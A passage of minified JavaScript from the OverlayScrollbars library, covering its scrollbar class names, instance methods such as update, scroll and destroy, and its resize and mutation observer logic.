touchmove",X="mouseenter",Y="mouseleave",K="keydown",G="keyup",J="selectstart",Q="transitionend webkitTransitionEnd oTransitionEnd",Z="__overlayScrollbarsRO__",nn="os-",tn="os-html",rn="os-host",en=rn+"-foreign",on=rn+"-textarea",an=rn+"-"+D+M+N,un=rn+"-"+D+E+N,fn=rn+"-transition",ze=rn+"-rtl",Te=rn+"-resize-disabled",Oe=rn+"-scrolling",ke=rn+"-overflow",Ce=(ke=rn+"-overflow")+"-x",Ae=ke+"-y",yn="os-textarea",mn=yn+"-cover",gn="os-padding",wn="os-viewport",He=wn+"-native-scrollbars-invisible",xn=wn+"-native-scrollbars-overlaid",_n="os-content",Re="os-content-arrange",Le="os-content-glue",Ne="os-size-auto-observer",Sn="os-resize-observer",zn="os-resize-observer-item",Tn=zn+"-final",On="os-text-inherit",kn=nn+D,Cn=kn+"-track",An=Cn+"-off",Hn=kn+"-handle",Rn=Hn+"-off",Ln=kn+"-unusable",Nn=kn+"-"+me+N,Wn=kn+"-corner",We=Wn+"-resize",De=We+"-both",Me=We+M,Ee=We+E,Dn=kn+M,Mn=kn+E,En="os-dragging",Ie="os-theme-none",In=[He,xn,An,Rn,Ln,Nn,We,De,Me,Ee,En].join(xe),jn=[],Fn=[xi.ti],Pn={},je={},Fe=42,Un="load",Vn=[],$n={},qn=["wrap","cols","rows"],Bn=[xi.i,xi.c,xi.s,"open"].concat(Fn),Xn=[];return St.sleep=function(){$t=!0},St.update=function(n){var t,r,e,i,o;if(!Lt)return cn(n)==mi?n===me?(t=function a(){if(!$t&&!qr){var r,e,i,o=[],n=[{T:Kt,O:Bn.concat(":visible")},{T:Nt?Yt:hi,O:qn}];return d(n,function(n,t){(r=t.T)&&d(t.O,function(n,t){e=":"===t.charAt(0)?r.is(t):r.attr(t),i=$n[t],ui(e,i)&&o.push(t),$n[t]=e})}),it(o),0<o[xi.l]}}(),r=function f(){if($t)return!1;var n,t,r,e,i=oi(),o=Nt&&br&&!jr?Yt.val().length:0,a=!qr&&br&&!Nt,u={};return a&&(n=nr.css(be),u[be]=Vt?ce:le,u[he]=me,nr.css(u)),e={w:i[xi.sW]+o,h:i[xi.sH]+o},a&&(u[be]=n,u[he]=we,nr.css(u)),t=qe(),r=ui(e,m),m=e,r||t}(),(e=t||r)&&Xe({k:r,C:Rt?hi:qt})):n===hn?qr?(i=T(S.takeRecords()),o=O(z.takeRecords())):i=St.update(me):"zoom"===n&&Xe({A:!0,k:!0}):(n=$t||n,$t=!1,St.update(hn)&&!n||Xe({H:n})),Ye(),e||i||o},St.options=function(n,t){var r,e={};if(Ci.isEmptyObject(n)||!Ci.isPlainObject(n)){if(cn(n)!=mi)return a;if(!(1<arguments.length))return bt(a,n);!function f(n,t,r){for(var e=t.split(W),i=e.length,o=0,a={},u=a;o<i;o++)a=a[e[o]]=o+1<i?{}:r;Ci.extend(n,u,!0)}(e,n,t),r=ot(e)}else r=ot(n);Ci.isEmptyObject(r)||Xe({C:r})},St.destroy=function(){if(!Lt){for(var n in _t.remove(St),Ve(),Pe(Jt),Pe(Gt),Pn)St.removeExt(n);for(;0<Xn[xi.l];)Xn.pop()();$e(!0),rr&&mt(rr),tr&&mt(tr),Mt&&mt(Gt),ft(!0),st(!0),at(!0);for(var t=0;t<Vn[xi.l];t++)Ci(Vn[t]).off(Un,rt);Vn=hi,$t=Lt=!0,Ai(r,0),ti("onDestroyed")}},St.scroll=function(n,t,r,e){if(0===arguments.length||n===hi){var i=Mr&&Vt&&Ot.i,o=Mr&&Vt&&Ot.n,a=vn.R,u=vn.L,f=vn.N;return u=i?1-u:u,a=i?f-a:a,f*=o?-1:1,{position:{x:a*=o?-1:1,y:dn.R},ratio:{x:u,y:dn.L},max:{x:f,y:dn.N},handleOffset:{x:vn.W,y:dn.W},handleLength:{x:vn.D,y:dn.D},handleLengthRatio:{x:vn.M,y:dn.M},trackLength:{x:vn.I,y:dn.I},snappedHandleOffset:{x:vn.j,y:dn.j},isRTL:Vt,isRTLNormalized:Mr}}St.update(hn);var c,s,l,v,d,m,g,h,p,w=Mr,b=[pn,le,"l"],y=[bn,fe,"t"],x=["+=","-=","*=","/="],_=cn(t)==pi,S=_?t.complete:e,z={},T={},O="begin",k="nearest",C="never",A="ifneeded",H=xi.l,R=[pn,bn,"xy","yx"],L=[O,"end","center",k],N=["always",C,A],W=n[xi.hOP]("el"),D=W?n.el:n,M=!!(D instanceof Ci||ki)&&D instanceof ki,E=!M&&dt(D),I=function(){s&&Qe(!0),l&&Qe(!1)},j=cn(S)!=bi?hi:function(){I(),S()};function F(n,t){for(c=0;c<t[H];c++)if(n===t[c])return 1}function P(n,t){var r=n?b:y;if(t=cn(t)==mi||cn(t)==wi?[t,t]:t,Si.isA(t))return n?t[0]:t[1];if(cn(t)==pi)for(c=0;c<r[H];c++)if(r[c]in t)return t[r[c]]}function U(n,t){var r,e,i,o,a=cn(t)==mi,u=n?vn:dn,f=u.R,c=u.N,s=Vt&&n,l=s&&Ot.n&&!w,v="replace",d=eval;if((e=a?(2<t[H]&&(o=t.substr(0,2),-1<sn(o,x)&&(r=o)),t=(t=r?t.substr(2):t)[v](/min/g,0)[v](/</g,0)[v](/max/g,(l?"-":ye)+we)[v](/>/g,(l?"-":ye)+we)[v](/px/g,ye)[v](/%/g," * "+c*(s&&Ot.n?-1:1)/100)[v](/vw/g," * "+ee.w)[v](/vh/g," * "+ee.h),ii(isNaN(t)?ii(d(t),!0).toFixed():t)):t)!==hi&&!isNaN(e)&&cn(e)==wi){var h=w&&s,p=f*(h&&Ot.n?-1:1),b=h&&Ot.i,y=h&&Ot.n;switch(p=b?c-p:p,r){case"+=":i=p+e;break;case"-=":i=p-e;break;case"*=":i=p*e;break;case"/=":i=p/e;break;default:i=e}i=b?c-i:i,i*=y?-1:1,i=s&&Ot.n?Oi.min(0,Oi.max(c,i)):Oi.max(0,Oi.min(c,i))}return i===f?hi:i}function V(n,t,r,e){var i,o,a=[r,r],u=cn(n);if(u==t)n=[n,n];else if(u==yi){if(2<(i=n[H])||i<1)n=a;else for(1===i&&(n[1]=r),c=0;c<i;c++)if(o=n[c],cn(o)!=t||!F(o,e)){n=a;break}}else n=u==pi?[n[pn]||r,n[bn]||r]:a;return{x:n[0],y:n[1]}}function $(n){var t,r,e=[],i=[fe,ce,se,le];for(c=0;c<n[H]&&c!==i[H];c++)t=n[c],(r=cn(t))==gi?e.push(t?ii(p.css(oe+i[c])):0):e.push(r==wi?t:0);return e}if(M||E){var q,B=W?n.margin:0,X=W?n.axis:0,Y=W?n.scroll:0,K=W?n.block:0,G=[0,0,0,0],J=cn(B);if(0<(p=M?D:Ci(D))[H]){B=J==wi||J==gi?$([B,B,B,B]):J==yi?2===(q=B[H])?$([B[0],B[1],B[0],B[1]]):4<=q?$(B):G:J==pi?$([B[fe],B[ce],B[se],B[le]]):G,d=F(X,R)?X:"xy",m=V(Y,mi,"always",N),g=V(K,mi,O,L),h=B;var Q=vn.R,Z=dn.R,nn=Qt.offset(),tn=p.offset(),rn={x:m.x==C||d==bn,y:m.y==C||d==pn};tn[fe]-=h[0],tn[le]-=h[3];var en={x:Oi.round(tn[le]-nn[le]+Q),y:Oi.round(tn[fe]-nn[fe]+Z)};if(Vt&&(Ot.n||Ot.i||(en.x=Oi.round(nn[le]-tn[le]+Q)),Ot.n&&w&&(en.x*=-1),Ot.i&&w&&(en.x=Oi.round(nn[le]-tn[le]+(vn.N-Q)))),g.x!=O||g.y!=O||m.x==A||m.y==A||Vt){var on=p[0],an=ln?on[xi.bCR]():{width:on[xi.oW],height:on[xi.oH]},un={w:an[he]+h[3]+h[1],h:an[pe]+h[0]+h[2]},fn=function(n){var t=ni(n),r=t.F,e=t.P,i=t.U,o=g[i]==(n&&Vt?O:"end"),a="center"==g[i],u=g[i]==k,f=m[i]==C,c=m[i]==A,s=ee[r],l=nn[e],v=un[r],d=tn[e],h=a?2:1,p=d+v/2,b=l+s/2,y=v<=s&&l<=d&&d+v<=l+s;f?rn[i]=!0:rn[i]||((u||c)&&(rn[i]=c&&y,o=v<s?b<p:p<b),en[i]-=o||a?(s/h-v/h)*(n&&Vt&&w?-1:1):0)};fn(!0),fn(!1)}rn.y&&delete en.y,rn.x&&delete en.x,n=en}}z[_e]=U(!0,P(!0,n)),z[Se]=U(!1,P(!1,n)),s=z[_e]!==hi,l=z[Se]!==hi,(s||l)&&(0<t||_)?_?(t.complete=j,Zt.animate(z,t)):(v={duration:t,complete:j},Si.isA(r)||Ci.isPlainObject(r)?(T[_e]=r[0]||r.x,T[Se]=r[1]||r.y,v.specialEasing=T):v.easing=r,Zt.animate(z,v)):(s&&Zt[_e](z[_e]),l&&Zt[Se](z[Se]),I())},St.scrollStop=function(n,t,r){return Zt.stop(n,t,r),St},St.getElements=function(n){var t={target:or,host:ar,padding:fr,viewport:cr,content:sr,scrollbarHorizontal:{scrollbar:f[0],track:s[0],handle:l[0]},scrollbarVertical:{scrollbar:v[0],track:b[0],handle:y[0]},scrollbarCorner:ir[0]};return cn(n)==mi?bt(t,n):t},St.getState=function(n){function t(n){if(!Ci.isPlainObject(n))return n;var r=fi({},n),t=function(n,t){r[xi.hOP](n)&&(r[t]=r[n],delete r[n])};return t("w",he),t("h",pe),delete r.c,r}var r={destroyed:!!t(Lt),sleeping:!!t($t),autoUpdate:t(!qr),widthAuto:t(br),heightAuto:t(yr),padding:t(gr),overflowAmount:t(kr),hideOverflow:t(pr),hasOverflow:t(hr),contentScrollSize:t(vr),viewportSize:t(ee),hostSize:t(lr),documentMixed:t(w)};return cn(n)==mi?bt(r,n):r},St.ext=function(n){var t,r="added removed on contract".split(" "),e=0;if(cn(n)==mi){if(Pn[xi.hOP](n))for(t=fi({},Pn[n]);e<r.length;e++)delete t[r[e]]}else for(e in t={},Pn)t[e]=fi({},St.ext(e));return t},St.addExt=function(n,t){var r,e,i,o,a=zi.extension(n),u=!0;if(a){if(Pn[xi.hOP](n))return St.ext(n);if((r=a.extensionFactory.call(St,fi({},a.defaultOptions),Ci,Si))&&(i=r.contract,cn(i)==bi&&(o=i(vi),u=cn(o)==gi?o:u),u))return e=(Pn[n]=r).added,cn(e)==bi&&e(t),St.ext(n)}else console.warn('A extension with the name "'+n+"\" isn't registered.")},St.removeExt=function(n){var t,r=Pn[n];return!!r&&(delete Pn[n],t=r.removed,cn(t)==bi&&t(),!0)},zi.valid(function wt(n,t,r){var e,i;return o=xt.defaultOptions,Ct=xt.nativeScrollbarStyling,Ht=fi({},xt.nativeScrollbarSize),zt=fi({},xt.nativeScrollbarIsOverlaid),Tt=fi({},xt.overlayScrollbarDummySize),Ot=fi({},xt.rtlScrollBehavior),ot(fi({},o,t)),At=xt.cssCalc,I=xt.msie,kt=xt.autoUpdateRecommended,j=xt.supportTransition,ln=xt.supportTransform,g=xt.supportPassiveEvents,A=xt.supportResizeObserver,h=xt.supportMutationObserver,xt.restrictedMeasuring,F=Ci(n.ownerDocument),H=F[0],u=Ci(H.defaultView||H.parentWindow),x=u[0],c=gt(F,"html"),P=gt(c,"body"),Yt=Ci(n),or=Yt[0],Nt=Yt.is("textarea"),Wt=Yt.is("body"),w=H!==di,p=Nt?Yt.hasClass(yn)&&Yt.parent().hasClass(_n):Yt.hasClass(rn)&&Yt.children(W+gn)[xi.l],zt.x&&zt.y&&!qt.nativeScrollbarsOverlaid.initialize?(ti("onInitializationWithdrawn"),p&&(at(!0),ft(!0),st(!0)),$t=Lt=!0):(Wt&&((e={}).l=Oi.max(Yt[_e](),c[_e](),u[_e]()),e.t=Oi.max(Yt[Se](),c[Se](),u[Se]()),i=function(){Zt.removeAttr(xi.ti),Yn(Zt,$,i,!0,!0)}),at(),ft(),st(),ut(),ct(!0),ct(!1),function s(){var r,t=x.top!==x,e={},i={},o={};function a(n){if(f(n)){var t=c(n),r={};(ne||Zr)&&(r[he]=i.w+(t.x-e.x)*o.x),(te||Zr)&&(r[pe]=i.h+(t.y-e.y)*o.y),Kt.css(r),Si.stpP(n)}else u(n)}function u(n){var t=n!==hi;Yn(F,[J,B,q],[tt,a,u],!0),si(P,En),ir.releaseCapture&&ir.releaseCapture(),t&&(r&&Ue(),St.update(me)),r=!1}function f(n){var t=(n.originalEvent||n).touches!==hi;return!$t&&!Lt&&(1===Si.mBtn(n)||t)}function c(n){return I&&t?{x:n.screenX,y:n.screenY}:Si.page(n)}Kn(ir,$,function(n){f(n)&&!Qr&&(qr&&(r=!0,Ve()),e=c(n),i.w=ar[xi.oW]-(Dt?0:Et),i.h=ar[xi.oH]-(Dt?0:It),o=vt(),Yn(F,[J,B,q],[tt,a,u]),ci(P,En),ir.setCapture&&ir.setCapture(),Si.prvD(n),Si.stpP(n))})}(),Gn(),Pe(Jt,Jn),Wt&&(Zt[_e](e.l)[Se](e.t),di.activeElement==n&&cr.focus&&(Zt.attr(xi.ti,"-1"),cr.focus(),Yn(Zt,$,i,!1,!0))),St.update(me),Rt=!0,ti("onInitialized"),d(jn,function(n,t){ti(t.n,t.a)}),jn=[],cn(r)==mi&&(r=[r]),Si.isA(r)?d(r,function(n,t){St.addExt(t)}):Ci.isPlainObject(r)&&d(r,function(n,t){St.addExt(n,t)}),setTimeout(function(){j&&!Lt&&ci(Kt,fn)},333)),St}(r,n,t))&&Ai(r,St),St}function Yn(n,t,r,e,i){var o=Si.isA(t)&&Si.isA(r),a=e?"removeEventListener":"addEventListener",u=e?"off":"on",f=!o&&t.split(xe),c=0,s=Ci.isPlainObject(i),l=g&&(s?i.V:i)||!1,v=s&&(i.$||!1),d=g?{passive:l,capture:v}:v;if(o)for(;c<t[xi.l];c++)Yn(n,t[c],r[c],e,i);else for(;c<f[xi.l];c++)g?n[0][a](f[c],r,d):n[u](f[c],r)}function Kn(n,t,r,e){Yn(n,t,r,!1,e),Xn.push(Si.bind(Yn,0,n,t,r,!0,e))}function Pe(n,t){if(n){var r=Si.rO(),e="animationstart mozAnimationStart webkitAnimationStart MSAnimationStart",i="childNodes",o=3333333,a=function(){n[Se](o)[_e](Vt?Ot.n?-o:Ot.i?0:o:o),t()};if(t){if(A)((k=n.addClass("observed").append(ai(Sn)).contents()[0])[Z]=new r(a)).observe(k);else if(9<I||!kt){n.prepend(ai(Sn,ai({c:zn,dir:"ltr"},ai(zn,ai(Tn))+ai(zn,ai({c:Tn,style:"width: 200%; height: 200%"})))));var u,f,c,s,l=n[0][i][0][i][0],v=Ci(l[i][1]),d=Ci(l[i][0]),h=Ci(d[0][i][0]),p=l[xi.oW],b=l[xi.oH],y=xt.nativeScrollbarSize,m=function(){d[_e](o)[Se](o),v[_e](o)[Se](o)},g=function(){f=0,u&&(p=c,b=s,a())},w=function(n){return c=l[xi.oW],s=l[xi.oH],u=c!=p||s!=b,n&&u&&!f?(Si.cAF()(f),f=Si.rAF()(g)):n||g(),m(),n&&(Si.prvD(n),Si.stpP(n)),!1},x={},_={};ri(_,ye,[-2*(y.y+1),-2*y.x,-2*y.y,-2*(y.x+1)]),Ci(l).css(_),d.on(ge,w),v.on(ge,w),n.on(e,function(){w(!1)}),x[he]=o,x[pe]=o,h.css(x),m()}else{var S=H.attachEvent,z=I!==hi;if(S)n.prepend(ai(Sn)),gt(n,W+Sn)[0].attachEvent("onresize",a);else{var T=H.createElement(pi);T.setAttribute(xi.ti,"-1"),T.setAttribute(xi.c,Sn),T.onload=function(){var n=this.contentDocument.defaultView;n.addEventListener("resize",a),n.document.documentElement.style.display="none"},T.type="text/html",z&&n.prepend(T),T.data="about:blank",z||n.prepend(T),n.on(e,a)}}if(n[0]===R){var O=function(){var n=Kt.css("direction"),t={},r=0,e=!1;return n!==L&&(r="ltr"===n?(t[le]=0,t[ce]=me,o):(t[le]=me,t[ce]=0,Ot.n?-o:Ot.i?0:o),Jt.children().eq(0).css(t),Jt[_e](r)[Se](o),L=n,e=!0),e};O(),Kn(n,ge,function(n){return O()&&Xe(),Si.prvD(n),Si.stpP(n),!1})}}else if(A){var k,C=(k=n.contents()[0])[Z];C&&(C.disconnect(),delete k[Z])}else mt(n.children(W+Sn).eq(0))}}function Gn(){if(h){var o,a,u,f,c,s,r,e,i,l,n=Si.mO(),v=Si.now();O=function(n){var t=!1;return Rt&&!$t&&(d(n,function(){return!(t=function o(n){var t=n.attributeName,r=n.target,e=n.type,i="closest";if(r===sr)return null===t;if("attributes"===e&&(t===xi.c||t===xi.s)&&!Nt){if(t===xi.c&&Ci(r).hasClass(rn))return et(n.oldValue,r.className);if(typeof r[i]!=bi)return!0;if(null!==r[i](W+Sn)||null!==r[i](W+kn)||null!==r[i](W+Wn))return!1}return!0}(this))}),t&&(e=Si.now(),i=yr||br,l=function(){Lt||(v=e,Nt&&Be(),i?Xe():St.update(me))},clearTimeout(r),11<e-v||!i?l():r=setTimeout(l,11))),t},S=new n(T=function(n){var t,r=!1,e=!1,i=[];return Rt&&!$t&&(d(n,function(){o=(t=this).target,a=t.attributeName,u=a===xi.c,f=t.oldValue,c=o.className,p&&u&&!e&&-1<f.indexOf(en)&&c.indexOf(en)<0&&(s=lt(!0),ar.className=c.split(xe).concat(f.split(xe).filter(function(n){return n.match(s)})).join(xe),r=e=!0),r=r||(u?et(f,c):a!==xi.s||f!==o[xi.s].cssText),i.push(a)}),it(i),r&&St.update(e||me)),r}),z=new n(O)}}function Ue(){h&&!qr&&(S.observe(ar,{attributes:!0,attributeOldValue:!0,attributeFilter:Bn}),z.observe(Nt?or:sr,{attributes:!0,attributeOldValue:!0,subtree:!Nt,childList:!Nt,characterData:!Nt,attributeFilter:Nt?qn:Bn}),qr=!0)}function Ve(){h&&qr&&(S.disconnect(),z.disconnect(),qr=!1)}function Jn(){if(!$t){var n,t={w:R[xi.sW],h:R[xi.sH]};n=ui(t,_),_=t,n&&Xe({A:!0})}}function Qn(){Jr&&Ge(!0)}function Zn(){Jr&&!P.hasClass(En)&&Ge(!1)}function nt(){Gr&&(Ge(!0),clearTimeout(C),C=setTimeout(function(){Gr&&!Lt&&Ge(!1)},100))}function tt(n){return Si.prvD(n),!1}function rt(n){var r=Ci(n.target);yt(function(n,t){r.is(t)&&Xe({k:!0})})}function $e(n){n||$e(!0),Yn(Kt,B.split(xe)[0],nt,!Gr||n,!0),Yn(Kt,[X,Y],[Qn,Zn],!Jr||n,!0),Rt||n||Kt.one("mouseover",Qn)}function qe(){var n={};return Wt&&tr&&(n.w=ii(tr.css(ve+he)),n.h=ii(tr.css(ve+pe)),n.c=ui(n,$r),n.f=!0),!!($r=n).c}function et(n,t){var r,e,i=typeof t==mi?t.split(xe):[],o=function u(n,t){var r,e,i=[],o=[];for(r=0;r<n.length;r++)i[n[r]]=!0;for(r=0;r<t.length;r++)i[t[r]]?delete i[t[r]]:i[t[r]]=!0;for(e in i)o.push(e);return o}(typeof n==mi?n.split(xe):[],i),a=sn(Ie,o);if(-1<a&&o.splice(a,1),0<o[xi.l])for(e=lt(!0,!0),r=0;r<o.length;r++)if(!o[r].match(e))return!0;return!1}function it(n){d(n=n||Fn,function(n,t){if(-1<Si.inA(t,Fn)){var r=Yt.attr(t);cn(r)==mi?Zt.attr(t,r):Zt.removeAttr(t)}})}function Be(){if(!$t){var n,t,r,e,i=!jr,o=ee.w,a=ee.h,u={},f=br||i;return u[ve+he]=ye,u[ve+pe]=ye,u[he]=me,Yt.css(u),n=or[xi.oW],t=f?Oi.max(n,or[xi.sW]-1):1,u[he]=br?me:we,u[ve+he]=we,u[pe]=me,Yt.css(u),r=or[xi.oH],e=Oi.max(r,or[xi.sH]-1),u[he]=t,u[pe]=e,er.css(u),u[ve+he]=o,u[ve+pe]=a,Yt.css(u),{q:n,B:r,X:t,Y:e}}}function Xe(n){clearTimeout(Xt),n=n||{},je.A|=n.A,je.k|=n.k,je.H|=n.H;var t,r=Si.now(),e=!!je.A,i=!!je.k,o=!!je.H,a=n.C,u=0<Fe&&Rt&&!Lt&&!o&&!a&&r-Bt<Fe&&!yr&&!br;if(u&&(Xt=setTimeout(Xe,Fe)),!(Lt||u||$t&&!a||Rt&&!o&&(t=Kt.is(":hidden"))||"inline"===Kt.css("display"))){Bt=r,je={},!Ct||zt.x&&zt.y?Ht=fi({},xt.nativeScrollbarSize):(Ht.x=0,Ht.y=0),ie={x:3*(Ht.x+(zt.x?0:3)),y:3*(Ht.y+(zt.y?0:3))},a=a||{};var f=function(){return ui.apply(this,[].slice.call(arguments).concat([o]))},c={x:Zt[_e](),y:Zt[Se]()},s=qt.scrollbars,l=qt.textarea,v=s.visibility,d=f(v,Rr),h=s.autoHide,p=f(h,Lr),b=s.clickScrolling,y=f(b,Nr),m=s.dragScrolling,g=f(m,Wr),w=qt.className,x=f(w,Er),_=qt.resize,S=f(_,Dr)&&!Wt,z=qt.paddingAbsolute,T=f(z,Sr),O=qt.clipAlways,k=f(O,zr),C=qt.sizeAutoCapable&&!Wt,A=f(C,Hr),H=qt.nativeScrollbarsOverlaid.showNativeScrollbars,R=f(H,Cr),L=qt.autoUpdate,N=f(L,Ar),W=qt.overflowBehavior,D=f(W,Or,o),M=l.dynWidth,E=f(Vr,M),I=l.dynHeight,j=f(Ur,I);if(Yr="n"===h,Kr="s"===h,Gr="m"===h,Jr="l"===h,Xr=s.autoHideDelay,Ir=Er,Qr="n"===_,Zr="b"===_,ne="h"===_,te="v"===_,Mr=qt.normalizeRTL,H=H&&zt.x&&zt.y,Rr=v,Lr=h,Nr=b,Wr=m,Er=w,Dr=_,Sr=z,zr=O,Hr=C,Cr=H,Ar=L,Or=fi({},W),Vr=M,Ur=I,hr=hr||{x:!1,y:!1},x&&(si(Kt,Ir+xe+Ie),ci(Kt,w!==hi&&null!==w&&0<w.length?w:Ie)),N&&(!0===L||null===L&&kt?(Ve(),_t.add(St)):(_t.remove(St),Ue())),A)if(C)if(rr?rr.show():(rr=Ci(ai(Le)),Qt.before(rr)),Mt)Gt.show();else{Gt=Ci(ai(Ne)),ur=Gt[0],rr.before(Gt);var F={w:-1,h:-1};Pe(Gt,function(){var n={w:ur[xi.oW],h:ur[xi.oH]};ui(n,F)&&(Rt&&yr&&0<n.h||br&&0<n.w||Rt&&!yr&&0===n.h||!br&&0===n.w)&&Xe(),F=n}),Mt=!0,null!==At&&Gt.css(pe,At+"(100% + 1px)")}else Mt&&Gt.hide(),rr&&rr.hide();o&&(Jt.find("*").trigger(ge),Mt&&Gt.find("*").trigger(ge)),t=t===hi?Kt.is(":hidden"):t;var P,U=!!Nt&&"off"!==Yt.attr("wrap"),V=f(U,jr),$=Kt.css("direction"),q=f($,_r),B=Kt.css("box-sizing"),X=f(B,mr),Y=ei(ae);try{P=Mt?ur[xi.bCR]():null}catch(gt){return}Dt="border-box"===B;var K=(Vt="rtl"===$)?le:ce,G=Vt?ce:le,J=!1,Q=!(!Mt||"none"===Kt.css(be))&&(0===Oi.round(P.right-P.left)&&(!!z||0<ar[xi.cW]-Et));if(C&&!Q){var Z=ar[xi.oW],nn=rr.css(he);rr.css(he,me);var tn=ar[xi.oW];rr.css(he,nn),(J=Z!==tn)||(rr.css(he,Z+1),tn=ar[xi.oW],rr.css(he,nn),J=Z!==tn)}var rn=(Q||J)&&C&&!t,en=f(rn,br),on=!rn&&br,an=!(!Mt||!C||t)&&0===Oi.round(P.bottom-P.top),un=f(an,yr),fn=!an&&yr,cn=ei(ue,"-"+he,!(rn&&Dt||!Dt),!(an&&Dt||!Dt)),sn=ei(oe),ln={},vn={},dn=function(){return{w:ar[xi.cW],h:ar[xi.cH]}},hn=function(){return{w:fr[xi.oW]+Oi.max(0,sr[xi.cW]-sr[xi.sW]),h:fr[xi.oH]+Oi.max(0,sr[xi.cH]-sr[xi.sH])}},pn=Et=Y.l+Y.r,bn=It=Y.t+Y.b;if(pn*=z?1:0,bn*=z?1:0,Y.c=f(Y,gr),jt=cn.l+cn.r,Ft=cn.t+cn.b,cn.c=f(cn,wr),Pt=sn.l+sn.r,Ut=sn.t+sn.b,sn.c=f(sn,xr),jr=U,_r=$,mr=B,br=rn,yr=an,gr=Y,wr=cn,xr=sn,q&&Mt&&Gt.css(be,G),Y.c||q||T||en||un||X||A){var yn={},mn={},gn=[Y.t,Y.r,Y.b,Y.l];ri(vn,oe,[-Y.t,-Y.r,-Y.b,-Y.l]),z?(ri(yn,ye,gn),ri(Nt?mn:ln,ae)):(ri(yn,ye),ri(Nt?mn:ln,ae,gn)),Qt.css(yn),Yt.css(mn)}ee=hn();var wn=!!Nt&&Be(),xn=Nt&&f(wn,Pr),_n=Nt&&wn?{w:M?wn.X:wn.q,h:I?wn.Y:wn.B}:{};if(Pr=wn,an&&(un||T||X||Y.c||cn.c)?ln[pe]=me:(un||T)&&(ln[pe]=we),rn&&(en||T||X||Y.c||cn.c||q)?(ln[he]=me,vn[de+he]=we):(en||T)&&(ln[he]=we,ln[be]=ye,vn[de+he]=ye),rn?(vn[he]=me,ln[he]=_i.v(he,"max-content intrinsic")||me,ln[be]=G):vn[he]=ye,vn[pe]=an?_n.h||sr[xi.cH]:ye,C&&rr.css(vn),nr.css(ln),ln={},vn={},e||i||xn||q||X||T||en||rn||un||an||R||D||k||S||d||p||g||y||E||j||V){var Sn="overflow",zn=Sn+"-x",Tn=Sn+"-y";if(!Ct){var On={},kn=hr.y&&pr.ys&&!H?zt.y?Zt.css(K):-Ht.y:0,Cn=hr.x&&pr.xs&&!H?zt.x?Zt.css(se):-Ht.x:0;ri(On,ye),Zt.css(On)}var An=oi(),Hn={w:_n.w||An[xi.cW],h:_n.h||An[xi.cH]},Rn=An[xi.sW],Ln=An[xi.sH];Ct||(On[se]=fn?ye:Cn,On[K]=on?ye:kn,Zt.css(On)),ee=hn();var Nn=dn(),Wn={w:Nn.w-Pt-jt-(Dt?0:Et),h:Nn.h-Ut-Ft-(Dt?0:It)},Dn={w:Oi.max((rn?Hn.w:Rn)+pn,Wn.w),h:Oi.max((an?Hn.h:Ln)+bn,Wn.h)};if(Dn.c=f(Dn,Tr),Tr=Dn,C){(Dn.c||an||rn)&&(vn[he]=Dn.w,vn[pe]=Dn.h,Nt||(Hn={w:An[xi.cW],h:An[xi.cH]}));var Mn={},En=function(n){var t=ni(n),r=t.F,e=t.K,i=n?rn:an,o=n?jt:Ft,a=n?Et:It,u=n?Pt:Ut,f=ee[r]-o-u-(Dt?0:a);i&&(i||!cn.c)||(vn[e]=Wn[r]-1),!(i&&Hn[r]<f)||n&&Nt&&U||(Nt&&(Mn[e]=ii(er.css(e))-1),--vn[e]),0<Hn[r]&&(vn[e]=Oi.max(1,vn[e]))};En(!0),En(!1),Nt&&er.css(Mn),rr.css(vn)}rn&&(ln[he]=we),!rn||Dt||qr||(ln[be]="none"),nr.css(ln),ln={};var In={w:An[xi.sW],h:An[xi.sH]};In.c=i=f(In,vr),vr=In,ee=hn(),e=f(Nn=dn(),lr),lr=Nn;var jn=Nt&&(0===ee.w||0===ee.h),Fn=kr,Pn={},Un={},Vn={},$n={},qn={},Bn={},Xn={},Yn=fr[xi.bCR](),Kn=function(n){var t=ni(n),r=ni(!n).U,e=t.U,i=t.F,o=t.K,a=ge+t.G+"Max",u=Yn[o]?Oi.abs(Yn[o]-ee[i]):0,f=Fn&&0<Fn[e]&&0===cr[a];Pn[e]="v-s"===W[e],Un[e]="v-h"===W[e],Vn[e]="s"===W[e],$n[e]=Oi.max(0,Oi.round(100*(In[i]-ee[i]))/100),$n[e]*=jn||f&&0<u&&u<1?0:1,qn[e]=0<$n[e],Bn[e]=Pn[e]||Un[e]?qn[r]&&!Pn[r]&&!Un[r]:qn[e],Bn[e+"s"]=!!Bn[e]&&(Vn[e]||Pn[e]),Xn[e]=qn[e]&&Bn[e+"s"]};if(Kn(!0),Kn(!1),$n.c=f($n,kr),kr=$n,qn.c=f(qn,hr),hr=qn,Bn.c=f(Bn,pr),pr=Bn,zt.x||zt.y){var Gn,Jn={},Qn={},Zn=o;(qn.x||qn.y)&&(Qn.w=zt.y&&qn.y?In.w+Tt.y:ye,Qn.h=zt.x&&qn.x?In.h+Tt.x:ye,Zn=f(Qn,dr),dr=Qn),(qn.c||Bn.c||In.c||q||en||un||rn||an||R)&&(ln[oe+G]=ln[ue+G]=ye,Gn=function(n){var t=ni(n),r=ni(!n),e=t.U,i=n?se:K,o=n?an:rn;zt[e]&&qn[e]&&Bn[e+"s"]?(ln[oe+i]=!o||H?ye:Tt[e],ln[ue+i]=n&&o||H?ye:Tt[e]+"px solid transparent"):(Qn[r.F]=ln[oe+i]=ln[ue+i]=ye,Zn=!0)},Ct?li(Zt,He,!H):(Gn(!0),Gn(!1))),H&&(Qn.w=Qn.h=ye,Zn=!0),Zn&&!Ct&&(Jn[he]=Bn.y?Qn.w:ye,Jn[pe]=Bn.x?Qn.h:ye,tr||(tr=Ci(ai(Re)),Zt.prepend(tr)),tr.css(Jn)),nr.css(ln)}var nt,tt={};yn={};if((e||qn.c||Bn.c||In.c||D||X||R||q||k||un)&&(tt[G]=ye,(nt=function(n){var 